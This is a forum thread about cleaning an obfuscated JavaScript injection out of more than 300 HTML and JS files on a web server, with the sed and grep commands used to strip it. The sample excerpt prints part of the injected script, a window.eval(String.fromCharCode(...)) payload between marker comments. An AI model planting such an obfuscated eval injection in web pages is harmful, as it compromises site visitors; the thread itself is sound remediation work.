Removing obfuscated javascript from html and js files

Shell Programming and Scripting
1

Hello, I have found a malware installed on many files on the server, javascript code is obfuscated and surrounded by delimiters

removed, see attached text file

I would like to remove the malware using a single replacement. Any suggestions?

2

Please post the output you want?

3

The code is inside the html and js site filesI, so just want remove all off it leaving the rest of the file intact

This is a sample file excerpt

<script type="text/javascript">
AC_FL_RunContent(  'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0','width','624','height','500','title','inicio','src','/InicioWraps','quality','high','pluginspage','http://www.macromedia.com/go/getflashplayer','movie','/InicioWraps'  ); //end AC code
/*km0ae9gr6m*/window.eval(String.fromCharCode(105,61,48,59,116,114,121,123,112,114,111,116,111,116,121,112,101,45,53,59,125,99,97,116,99,104,40,122,41,123,102,61,91   ,49,48,50,44,50,51,52,44,49,49,48,44,49,5
,40,113,43,34,34,41,59,125,99,97,116,99,104,40,102,119,98,101,119
...
more obfuscated bytecode
....
3,114,46,102,114,111,109,67,104,97,114,67,111,100,101,40,40,119,91,106,93,47,40,50,45,49,43,106,37,50,41,41,41,59,125,13,10,105,102,40,102,41,101,40,1   15,41,59));/*qhk6sa6g1c*/</script><noscript><object  classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"   codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0"  width="624" height="500" title="inicio">

---------- Post updated at 02:38 AM ---------- Previous update was at 02:16 AM ----------

By the way, I need to remove from all html and js files located in /home/*/public_html/

4

Try this:

sed ':strt;s|/\*km0ae9gr6m\*/[^/]*/\*qhk6sa6g1c\*/||g;/\/\*km0ae9gr6m\*\//{N;b strt}' inputfile
5

Great, it worked. How can I make it process and overwrite all files in /home/*/public_html/

I have found more than 300 files infected on the server.

I have prepared the backup already, to recover any mistakes

Thanks

6 
cd dir
for fname in *
do
 sed ':strt;s|/\*km0ae9gr6m\*/[^/]*/\*qhk6sa6g1c\*/||g;/\/\*km0ae9gr6m\*\//{N;b strt}' $fname > temp
 mv temp $fname
done
7

It would change the file owner, I have added -i option and it worked fine in my test.on one file

 sed -s ':strt;s|/\*km0ae9gr6m\*/[^/]*/\*qhk6sa6g1c\*/||g;/\/\*km0ae9gr6m\*\//{N;b strt}' inputfile

Now I am going to test the batch script you suggested, thanks

---------- Post updated at 09:14 AM ---------- Previous update was at 09:13 AM ----------

Hello, I have done it this way

grep -Rl  qhk6sa6g1c /home/*/public_html/  | xargs  sed -i  ':strt;s|/\*km0ae9gr6m\*/[^/]*/\*qhk6sa6g1c\*/||g;/\/\*km0ae9gr6m\*\//{N;b  strt}'

Thanks for your help

---------- Post updated at 09:47 AM ---------- Previous update was at 09:14 AM ----------

it didn't worked on this file, Any suggestions?